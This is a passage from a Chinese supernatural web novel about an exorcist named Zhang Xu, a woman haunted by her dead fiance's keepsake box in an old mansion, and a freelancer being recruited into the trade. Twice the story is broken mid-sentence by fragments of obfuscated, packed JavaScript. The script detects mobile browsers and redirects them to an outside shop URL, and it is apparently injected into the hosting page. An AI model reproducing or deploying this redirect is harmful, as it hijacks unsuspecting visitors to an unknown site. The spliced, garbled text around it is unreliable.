也是……左阅低头看了一下手机屏幕,竟然已经快3点多了。哈欠如同海潮一样淹没过来,她现在只想赶紧回到被窝里,抱着土豆睡觉:“我们回去吧。” 很快,到公寓楼下的时候,左阅下车,把钱转给他。 张栩欲言又止的模样。 左阅把手机揣包里,缩了缩肩膀,主动对他说:“你放心,今天所有发生的事情,我都不会跟任何人讲。” 讲了也不会有人相信的,毕竟实在是太玄幻了。在今晚上之前,就是有人跟左阅讲这样的事,左阅只会觉得扯淡。 然后张栩点点头,终于下定决心一样,从上衣口袋里掏出一张名片:“考虑一下,要不要加入我们这一行。如果考虑好了,可以随时联系我。” 这次的名片,和上次不一样,是全黑的底,上面只有一个联系电话和姓名——张栩。 原来他叫张栩。 左阅推开了名片,笑着说:“老兄,你这样也太不地道了吧,你自己都要走了,临走之前还要拉个人头?” 张栩看了她一眼,没有说话,嘴角带笑,掏出了手机。 这是要干什么? 刚好这个时候张栩的手机响了,屏幕界面上面有两个字——师父。 接通电话之后,张栩对着电话那一头说:“……我考虑好了,打算继续做下去……想要再坚持一次,看看会不会有不同,以免给自己的人生留遗憾。” 说最后一句话的时候,张栩一直看左阅的眼睛,他歪头看着她,两眼亮晶晶的,摇了摇手机,仿佛在说,压力给到你这边了哟。 8. 十年——开始第二个单元 海市,一座上世纪西洋风格的大宅子门口,几个背着书包的大学生,纷纷拿出手机和相机,探头探脑拍摄房子门口的铁栅门、褐色花墙。 一个低马尾的女生,两手揣在口袋里,看了一眼干净的庭院,转头问旁边的男生:“你确定这是个鬼宅吗?” 挂着2个相机的男生拍着胸脯,十分骄傲:“当然了,我家就是本地土著,当年这家的公子哥杀了亲戚。后来家道中落了,房子里一直闹鬼,房主搬走之后,想要把房子租出去,没一个敢租,这事人尽皆知。” 几个女生吓得缩成一团,打量里面斑驳了的墙面,墙面上散布着不规则的斑驳,它们似乎在讲述一个正在等待破解的故事。 就在这时,一辆黑色迈巴赫平稳的停在了宅子门口。 车门打开,一位黑裙黑帽白皮草的女子站出来,30多岁的年纪,妆容浓艳,像是国外的风格。 与此同时,宅子的铁栅栏“咔哒”一声打开,门后冒出来一个老太太,老太太打扮的干净整齐,一身蓝布袄子,恭敬地说:“小姐请进。” 詹娉婷提起黑色长裙,看了一眼这些目瞪口呆的小朋友,转头问徐妈:“徐妈,什么时候能够清理完毕?” “已经清理的差不多了,只剩些琐碎,最多不超过三天,就能全部弄完。”徐妈麻利地在前面领路,停顿了一下,“就是您房间的一些东西……老婆子我拿不定主意,想着还是您当面来处理比较好。” 说着,两人跨过庭院,一路步入宅子。 这个宅子原本是上世纪非常有名的西式建筑,经过年月的打磨,一切曾经的辉煌早已不见,被黯淡无光的地板、发霉皲裂的墙壁所取代。客厅正中的墙壁上挂着一个大摆钟,被擦得锃亮,还在延续生命中。只是今天天气不好,整个宅子阴森森,叫人背后发寒。若不是徐妈打理尽心,或许早就变成别人口中的破败鬼宅了。 两人经过一楼,没有多做停留,直接爬上旋转楼梯到3楼。 3楼左手边的卧室门开着,两人直接进去。徐妈打开里边的衣柜门,拿出个一尺见方的深褐色木匣子,放在窗边的长桌上。 詹娉婷打开木匣子,露出里面的几样东西——两件叠得整整齐齐的T恤衫,还有几本书和一叠书信。其中一本书的边缘有暗红色的印记,是血液结痂了。她下意识伸出手去拿那本书,随后又缩回来。 “小姐,这东西,咱们留着不妥当。这些年,外头多少风言风语,都和这些人啊事啊的有关。”徐妈讲话点到即止。 詹娉婷点了点头:“你有什么想法?” “照我说,直接送回冯先生家里去,最合适。” 詹娉婷摇摇头:“送回去,就被丢垃圾桶了。这是冯耀最后的……遗物。” 若是丢了,那么冯耀在这世上的最后一丝痕迹,也没有了。 “那也不能咱们自己留着。”徐妈试探着道,“小姐,不如把这里头的东西物归原主吧。” 詹娉婷睁大眼睛:“你是说……给丘之淇?” 徐妈点头:“这原本也不该您来管。当年您也是受害者,再则也不能漂洋过海带去国外吧。” 詹娉婷摆手,示意她不要再说了:“这东西直接送给丘之淇也不大妥当。她现在应当已经结婚了,送过去容易引起误会,我再想想。” 徐妈来了精神:“您要是顾虑这个,我叫树军去打听一下,您也好周全考虑。” 树军是她外甥,办事爽利。 · 好不容易处理完老宅子的事,詹娉婷回到酒店房间。 躺在床上格外困,没来得及洗漱,就睡着了。 詹娉婷做梦,梦见自己回到了白天那个宅子的客厅。她一步步爬着旋转楼梯上去到卧室,卧室里非常暗,叫人心里发毛。她不自觉往前走了两步,这才发现有个高大的人影站在窗边,他背朝门口,似乎是听到了詹娉婷的声音,转过身来,是……年轻时候的冯耀。而他身边的长桌上,正是白天谈论过的木匣子,他瞪着詹娉婷,一句话不说,一动不动。詹娉婷想问他什么意思,上前两步,他的脸色特别难看。 詹娉婷从梦中醒来,醒来时大汗淋漓,才凌晨两点。她换了衣服,开着灯睡了一整晚。这么一睡,就到了中午,拉开窗帘,外头阳光格外明亮。 詹娉婷还没来得及吃午饭,徐妈打来电话,说树军打听清楚了——当年丘之淇回到老家去工作了,前几年结婚生了孩子。 徐妈问怎么办。 詹娉婷忽然想起来昨晚那个梦,喃喃自语:“他是想……把木匣子留给丘之淇?” “您说什么?” 詹娉婷甩甩头:“那匣子东西,你寄过去吧,随便她怎么处理。” 徐妈高兴极了,咳嗽了一声:“好好好。” “等下,直接寄到她家里会惹麻烦。”詹娉婷叮嘱。 “我办事您放心,手头上的事办完了就安排人去办,寄到她公司去。不是明天就是后天,一定给您回话。” 到这里,詹娉婷心里那块石头终于放下了,趁着有空,把国内的其他事情一起办了。 一切顺利极了,直到第二天晚上,詹娉婷接到了一个电话。 电话是徐妈徐树军打过来的,说是徐妈突然病了,所以宅子的事想要宽限几天。 “房子的事可以缓一缓,齐先生过来签合同还要一段时间。徐妈现在怎么样,怎么突然病了?”詹娉婷倒是不担心房屋买卖合同的事情,因为这个房子降价多,齐先生占了很大的便宜,不会轻易退出。 “也不知道怎么回事,前天晚上做了一宿的噩梦,早上起来的时候人精神还行,可是到了昨晚上,又做了一宿的噩梦,嘴巴里一直叽里咕噜的,不知道在说什么,人都烧迷糊了。今天去打了针,但是没有什么用。老家刚好来了个亲戚,看了一下之后说——”徐树军摸了摸脑袋,支支吾吾的说,“说可能是老宅子里面有什么不好的东西,毕竟最近这段时间我大姨过去的次数太多了。想着打针没用的话,就去找个懂行的人问问。” 詹娉婷有些无语:“你们先把徐妈送去大医院看一下吧,老人家耽误不得,别相信这些骗人的事。” “哦。” “我认识一个厉害的医生,联系方式发你。你叫徐妈不要着急,先把身体养好。过两天有空了,我看看她。” 詹娉婷挂了电话,发了联系方式过去,把手机扔到一边,手机又响起来了,是贝咏诗打过来的。 贝诗咏是老相识了,大学同学,又都是海市人,走得近一些。只不过……十年前那些事发生后,两人分别出国,再也没有什么联系。 贝诗咏邀请詹娉婷明天晚上去酒吧街,理由是刚好大家一起回国了,以前的老同学想要一起聚一聚,希望她给个面子,不要扫兴。 话都说成这个样子了,詹娉婷也不好拒绝,左右只是一顿饭的功夫,吃完了早点离开就好。 不过一到酒吧,詹娉婷就很后悔—— 酒吧的包厢里四处弥漫着烟雾,吵闹的声音不绝于耳。还有,无缘无故的比赛喝酒、说段子,外加各种不尊重人的试探、挑逗。反而是贝咏诗和他们打成一气啊,如鱼得水。 詹娉婷忍了很久,找了个借口去厕所,补完妆就直接走到酒吧外边。外边的天已经黑了,但是早春的夜晚依旧是有些冷。她本来是打算发个短信给贝咏诗,告诉她自己先走了,一阵风吹过来,她缩了一下脖子,才意识到丝巾落在了包厢里面。 回到包厢的时候,正好听到虎子在说:“你们知道吗?那个丘之淇……已经结婚生子了,看起来过得挺不错的。” 气氛一时有些沉默,有个人喝得面红耳赤,又灌下一杯酒:“你们看,这就是所谓的爱情!这个世界上,离了谁都能够活得下去,别管当初是不是爱的要死要活的……真是可惜了冯耀一条命!” 说着说着,他还扯着嗓门唱起来:“爱情是流动的,不由人的——” 旁边有个兄弟实在嫌弃,一把捂住他的嘴,问虎子:“你怎么知道的?” “去年底出差到隔壁市,刚好遇到了她,找她同事打听一下就知道了。”虎子解释完了之后,挤眉弄眼地环视周围人,暗示着说:“不过她好像还不知道冯耀已经……那个了。” 说到这里,所有人都噤声。 一直沉默的贝咏诗得意地讽刺道:“你怎么知道别人不知道呢?也许别人只是装都不知道。” 虎子似乎有点急眼了,灌了自己一大杯酒:“老子敢打包票,她绝对不知道。” 贝咏诗不屑一顾的看了他一眼:“也就是说,一切都是你自己瞎想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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贝咏诗骂骂咧咧地过来,拉着詹娉婷的胳膊,说是顺路,让自己家的司机把她送到酒店去。 詹娉婷拒绝了,她拦了一辆的士之后,直往密集的居民区去。 开门的徐树军十分惊讶,连忙引到房间里面去看望徐妈。 徐妈根本不清醒,但嘴里一直呢喃着。 据徐树军说已经去医院看过了,也检查过了,但是没发现什么问题,然后医生给开了一些针剂和药,让在家里面先休养一下,再看看情况。医生的意思是老人年纪大了,出现任何问题都是可能的。 徐树军媳妇站在旁边,说在考虑找哈利波特,之前原本认识一个哈利波特,今天一打听才知道对方是个骗子,隔壁江城倒是有一个靠谱的,但是来回要花点时间,而且费用应该也不少,所以他们正纠结着。 徐树军完全拦不住他媳妇那张快嘴,全部抖落出来了。于是向詹娉婷解释:“我们这也是没办法了。” 詹娉婷垂下眼眸,想了下,对他们说:“一直这么拖下去也不是事,不管什么办法都去试一试。如果有靠谱的哈利波特,可以让我来联系,费用我来出,你们只管照顾好老人。 “这怎么好意思呢?我大姨醒了,估计要骂死我。” “徐妈办事尽心,这点心意是我自己的。” 徐树军不再客气,给出了一张名片,名片上面最大的几个字是——无名旧书屋。 、 第2天傍晚,张栩背着巨大的黑色运动包站在宅子门口,按了按铁栅栏边上的门铃。 一旁的小师妹房笑笑,嘴里嚼着辣条,手却比他更快,梆梆锤了两下门。 “咔哒”,门自动打开了。 房笑笑给他一个眼神,摊手——你瞧。 两个人随即往庭院里走,这时候正好出来一个女子,一身的红裙,脂粉味和香水味非常浓,暗红的长指甲,捏着黑色名牌包匆忙往门外走去,和他们擦身而过。 小师妹收回目光,转头一看,大宅门口站着一个优雅姐姐,一身白色长裙,款式和质地都是最好的,贴合又有光泽。 詹娉婷把这两个人带到大厅,坐在沙发上空隙,快速打量了对面两个人。男的估计有30岁了,沉默寡言,一身非常简单的黑色夹克和浅蓝色牛仔裤,至于旁边的那个小丫头嘛…… 房笑笑一边四处张望,一边吃着辣条,和詹娉婷对上眼之后,她连忙把辣条袋子折叠起来,放在了斜挎的帆布包包里面,双手交叠放在前面,保持微笑,假装乖巧。 帆布包包上面写着4个彩色大字——讨厌辣条。 詹娉婷开始怀疑自己是不是糊涂了,竟然开始相信哈利波特,于是冷脸对他们说:“我需要先看一下你们的实力。” 9. 十年-遗物 詹娉婷摆出了一副要考察的架势。 房笑笑撇开帆布包,上前两步想要说什么,被张栩拦住。 张栩礼貌问询詹娉婷:“是否可以去楼上?” “自便。”詹娉婷双手抱在胸前,打量着眼前的男子,想看看他们到底能翻出什么花样来。 张栩环视这大屋子一圈,随后拾级而上,往楼上走去。一步一步的,他直接走到了3楼,然后左拐,自然地推开了卧室的门。 跟在其后的詹娉婷眯了眯眼睛,不得不再次认真打量这个男子和他身边的小姑娘。照理说,他们应该不会知道这个宅子里的任何信息,可是他竟然精准的找到了这个卧室,而且站到了古檀色柜门的跟前…… 房笑笑眼疾手快,拉开柜门,才发现空空如也,她转头看着詹娉婷:“需要处理的已故人是在这个房间吗?” 詹娉婷咳咳两声:“我不确定,这是你们需要做的事情。” 房笑笑有点无语,耸了耸肩膀,转头看向师兄张栩。 张栩从斜挎的黑色运动包里面掏出来一个巴掌大的喷壶,退开一步后,对着柜门周围一顿喷,就像喷香水那样。 詹娉婷仔细观察,发现了神奇的一幕:房间里出现了密密麻麻的绿色光点。 柜门口的光点是最多的,还有柜子里曾经放过木匣子的地方,更重要的是,在长桌旁边,有一团像灰色物质一样的雾气凝结盘旋在空中。而这里正是冯耀在梦中所站的位置。 詹娉婷抱在胸口的双手不自觉垂下来,倒吸一口凉气,脸都白了。 张栩收起神虎现形符的符水,转头看着詹娉婷:“您看是否需要继续。” 詹娉婷收起愕然的神情,点点头:“张先生您请一边说话。” 她的姿态,相比之前恭敬了许多。 · 詹娉婷带着他们回到1楼。 正好这个时候,一个男人端着几杯热茶过来。虽然他看上去四十多了,五大三粗的,可是举手投足中可见沉稳。 “不好意思,茶上的有点晚。”詹娉婷递过一杯茶,“刚才桌边那一团雾气是什么?” 张栩接过来:“已故人,或许是您曾经认识的人。您有能想到的人吗?” 詹娉婷想起之前在酒店做的那个梦,呆了一下,随后说:“那我知道是谁了。他叫冯耀,曾经是我的未婚夫,后来因为一些意外被……被杀了。说起来已经是10年前的事情,当时闹得很不愉快,只是没想到这些年他一直停留在这里,我想,或许是和木匣子有关。” “木匣子?” “刚才你们看过的那个柜子里,以前就放着一个木匣子,里面装着他生前的遗物。原本我打算寄走。前几天晚上我做梦,梦见过他,梦里的他指着这个木匣子十分生气,似乎想要说什么。之前没有当回事,不过现在我在想,他是不是对这个木匣子有所安排?” 说完,詹娉婷转头吩咐徐树军:“木匣子你带过来了吗?” 徐树军解释:“小姐,刚才我检查了匣子,发现是空的。打电话回去,表弟告诉我说匣子里面的东西前几天就寄出去了。您是知道的,无论您吩咐什么事情,老太太一向最紧张,所以当天她回家之后,就立刻让表弟处理了。现在只剩下一个空匣子……您还要看吗?” “也就是已经寄出去好几天?”詹娉婷非常震惊,转头问张栩,“这要不要紧?” 张栩示意她先不用慌张:“先试试看拦截包裹。” 徐树军摸出手机,操作了半天,可是包裹已经到了隔壁市,联系物流公司让他们截货,但是对方表示有点难,只能帮忙去找一下,晚一些再回复。 既然已经如此,张栩说:“我们不妨先用这个木匣子和已故人沟通一下,搞清楚状况。” · 一片漆黑之中,“哐哐哐——”钟连续响了12下,钟声回荡在整个宅子里,经久不息,显得格外诡异。 房笑笑站在3楼在卧室门外面,百无聊赖,她被师兄安排在外面陪着张娉婷,以免她害怕。一旁的詹娉婷倚靠在栏杆上,神色紧张,竖起耳朵听卧室门里面的声音。 “吱呀”一声,张栩推开卧室门出来。 “怎么样了?”詹娉婷迫不及待的上前两步,“他究竟想要说什么?” “确实有话要说,不过——”张栩停顿了一下,“他似乎没办法说话。” 张栩回忆着刚才做法的场面,那位已故人似乎充满了愤怒,并且急切地想要张嘴说什么,可就是说不出来,“嗯嗯嗡嗡”的不成字句。 说到这里,詹娉婷喃喃自语的说:“之前他进入我的梦里,好像也是这样,远远的站着,似乎想要说什么,可就是不张嘴。” 张栩和房笑笑对视一眼,随后侧头看了詹娉婷一眼,试探性的问道:“有没有一种感觉是他想说什么,可是嘴巴里面塞着东西,说不出来?” “对对对,就是这样!”詹娉婷突然愣住,仿佛想到了什么很重要的事情。 张栩赶忙问他:“究竟想到了什么,您不妨直说。” 詹娉婷抿了抿嘴唇,深吸一口气:“之前我听过一个谣言,说是在冯耀死了之后,他们家族里面出了一些大大小小的事情,家宅不宁,生意接连不顺,于是请了哈利波特帮忙看看,哈利波特的意思是冯耀的怨气太重了,因此做了一场法事,不许他说话,也不许他回去。” 张栩点点头:“那为今之计,最重要的就是要弄清楚冯耀究竟是什么意思。” 詹娉婷非常苦恼:“我叫你们来,正是要解决此事。老太太已经接连做了几晚噩梦,人都烧迷糊了,吃药打针也没用。” 房笑笑凑过来:“我知道了。虽然说他不能说话,可是他应该可以在房间里走动吧。只要他能走动,那就可以在地上写字,而我们可以用神虎现形符的荧光效果来进行通讯!” 张栩摇了摇头:“这不行。我看他刚才的样子,不止说不出话,浑身也是僵硬的,但凡他的手能够动弹的话,我刚才也能让他直接写下来了。看来是被困住了。” “他家里人也太狠了,这和囚禁有什么区别?”房笑笑吐槽完之后对詹娉婷挤眉弄眼:“他家里人甚至比不上这位小姐姐,看来你们当年感情挺好的。” 张栩赶忙拦住房笑笑,让她不要多嘴。 詹娉婷摇摇头,表示没有关系:“当年我对冯耀多少有些亏欠,为他做点事情我也能心安。本来我不想说的,不过想了想还是先告诉你们好了。” 难道还有什么故事吗?房笑笑看着一身体面的詹娉婷。 张栩给出承诺:“您可以放心,一切关于客户的隐私,我们绝对不会告诉他人。” “在10多年前,冯耀还在上大学的时候,遇到了一个喜欢的女生,可是因为家庭情况相差太大,冯耀家里不同意,于是强行拆散了他们。为了避免女生受到伤害,冯耀同意家里面的意见,答应分开。只是没想到分开之后,他家里人又逼着他结婚,也就是和我们家族联姻,因为当时两家在合力推进一个项目。冯耀已经被强迫一次,不愿意被强迫第二次,当时他和家里闹得很凶,甚至说服我一起反抗。不过因为我当时太年轻懦弱……”詹娉婷似乎陷入了久远的回忆当中,面色也平添了几分哀伤,突然醒神说,“总之,最后因为一些意外,他出事了。后来项目黄了,他家人心里是有些怨气的。张先生,你们看现在该怎么办呢?” 张栩再次保证:“您不用太担心,这个事情交给我们来办。首先是关于您担心的老太太,并无大碍,我会让师妹去处理干净,很快能好起来;其次是要弄清楚冯先生对这个匣子的意见,我现在已经初步有了解决的办法。不过最好的办法是先把邮寄出去的包裹截获,然后再慢慢处理。” 詹娉婷懊恼:“刚才物流那边给了回复,说是已经送到丘之淇的单位,只是还没有签收,没办法拦截。” 张栩问:“丘之淇是……” “是冯耀曾经喜欢的女孩。我原本以为把遗物交还给丘之淇,会比较妥当一点。” 张栩问:“木匣子里面的遗物有什么?” “也不是什么贵重的东西,只有两件T恤衫,还有几本书和几封信。应该是没有其他的了。“詹娉婷有些着急,“我现在感觉冯耀并不喜欢我这样处置……” 房笑笑在旁边嚼了嚼口香糖,说:“你们不用着急。接下来两天是周末,丘小姐就算要取快递,也肯定是等到周一上班了才会去。我们赶在她之前把快递拿了不就好了吗?” 张栩安抚道:“是的,这件事您可以放心,问题不大。当然,仅仅只是把包裹拿回来是不够的,我们还需要弄清楚已故人的意思,才能够把事情彻底办好。否则包裹拿回来处理不当,也会产生其他的问题。所以我需要您告诉我一件事……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329115|199155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“什么事?” “冯先生葬在哪里?” · 左阅掀开眼罩的时候,灯还亮着,但窗外还一片漆黑,拿过手机一看,果然才6:00。说实话,她最近都睡得不太好。 这几天晚上,每天晚上都各有各的精彩故事。 比如说前天是半夜被冷醒,在凌晨2点的时候。明明已经是暖和的春天了,却比冬天还要冷,她醒来时浑身冰凉,有一种全身毛孔都张开了冷空气长驱直入的感觉,最后只能把电热毯从柜子里重新拿出来开着。 比如说昨天晚上,睡前就感觉到脸上有一阵阵的冷风划过,但问题在于他所处的位置压根儿就不可能有风。果然到了凌晨2点多的时候,她又听到了土豆在低吼警告。当时左阅立刻反应过来发生了什么,本想着忍一忍算了,谁知道她又感觉到脸上有一股冷风,但又不像是风……左阅浑身不舒服,她都要怀疑床四角的硬币是不是没用了,得换新的。最终只能开灯、开电热毯睡觉。 再比如说今天早上,左阅开着灯、电热毯,好不容易一觉睡到了4点多,虽然很困,但是睡不着,所以她只能选择刷手机,一直刷到6:00,终于可以放心去睡了,谁知道做了一个奇怪的梦,梦里面有个人问能不能和她一起住。左阅还来不及拒绝,突然之间整个梦境就垮塌了。随即而来的就是听到床边有一二三四,一共四声脚步,有人走过来了——左阅吓疯了,她做梦从来都没有出现过声音,所以她当时特别肯定的是家里面有人。可是如果有人进来,为什么土豆没有叫?左阅正在纳闷的时候,突然那个人扑在了左阅的背上,紧紧贴在了她后背。左阅吓得几乎要尖叫,可是叫不出声,到了这个时候她才意识到自己正趴着睡,而且还鬼压床了。Shit!左阅让自己保持冷静,随即努力张嘴和动胳膊好一会儿,终于醒过来了。结果手机一看才6:20…… 天爷啊。左阅再也睡不着了,只能再接再厉地刷手机,一直刷到8:00,夏夏发来了吐槽。吐槽她自己,因为忘了关工作日的闹钟,把自己给吵醒了。 左阅也吐槽了一下自己最近的可怕睡眠——她担心再这么下去,自己的生活要混乱了毕竟身体可是革命的本钱,而睡眠是身体的根基! 夏夏问:“那你要不要去找之前的那个帅哥,帮忙处理一下下?” 左阅拒绝了:“找他办事要花钱的,而且我感觉我现在这个情况,也不是解决了一次就不会有下一次了。我现在又是个穷鬼,钱还是省着点花吧。” “你怎么知道还有下次?” “你也不是不知道我这一块儿,以前是整个省的GDP扛把子,这几年裁了一波又一波,陆陆续续就没什么人了,阳气也就衰败了。要照以前来说,这附近压根不怎么发生这种事情。但是现在我晚上都不太敢出去遛狗了。” 夏夏也有同感:“往年我都刷不到几个玄学的帖子,今年过完年之后,我就一直刷到,没半个小时都不能从评论区出来。除了这个,裁员的消息也到处都是。你要是比较紧张的话,不如考虑一下他们的提议,加入他们,至少也是一笔经济来源,能够减少很多压力嘛。” “我再考虑考虑吧。”其实左阅也拿不定主意。她现在很需要钱,一方面是因为辞职之后每个月的花销,比想象的多很多,即使她很节约,但每个月依旧会有大笔的意外开销,甚至比基本生活费还要多;另一方面原因是环境变化很快,平台的政策也变化了,导致一时之间接不到太多的单子,而她虽然想办法拓展了一些其他的路子,但是一时半会也没有得到反馈。到底怎么才能够让自由职业更加可持续呢?每天左阅都在为此而苦恼,只不过不到穷途末路,她不是很想考虑加入张栩那一行。 刚聊到张栩,张栩的电话就打来了,还挺简单直接的:“能不能帮个忙?” 左阅连忙拒绝:“非常抱歉,我没有胆子帮忙。” “我现在给你发个数字,你考虑一下。” “叮——”一声,来了个短信,打开其中的数字,左阅瞪大了眼睛,然后问他:“这是什么意思?” “你的酬劳。” “我记得你上次的业务只需要300块。”左阅在金钱的诱惑之下,依旧能够保持清醒,这是她自认为很重要的优点。 “……当时我以为,那是最后一单。”张栩的声音很轻快,似乎还带着笑意,“怎么样,你加入吗?”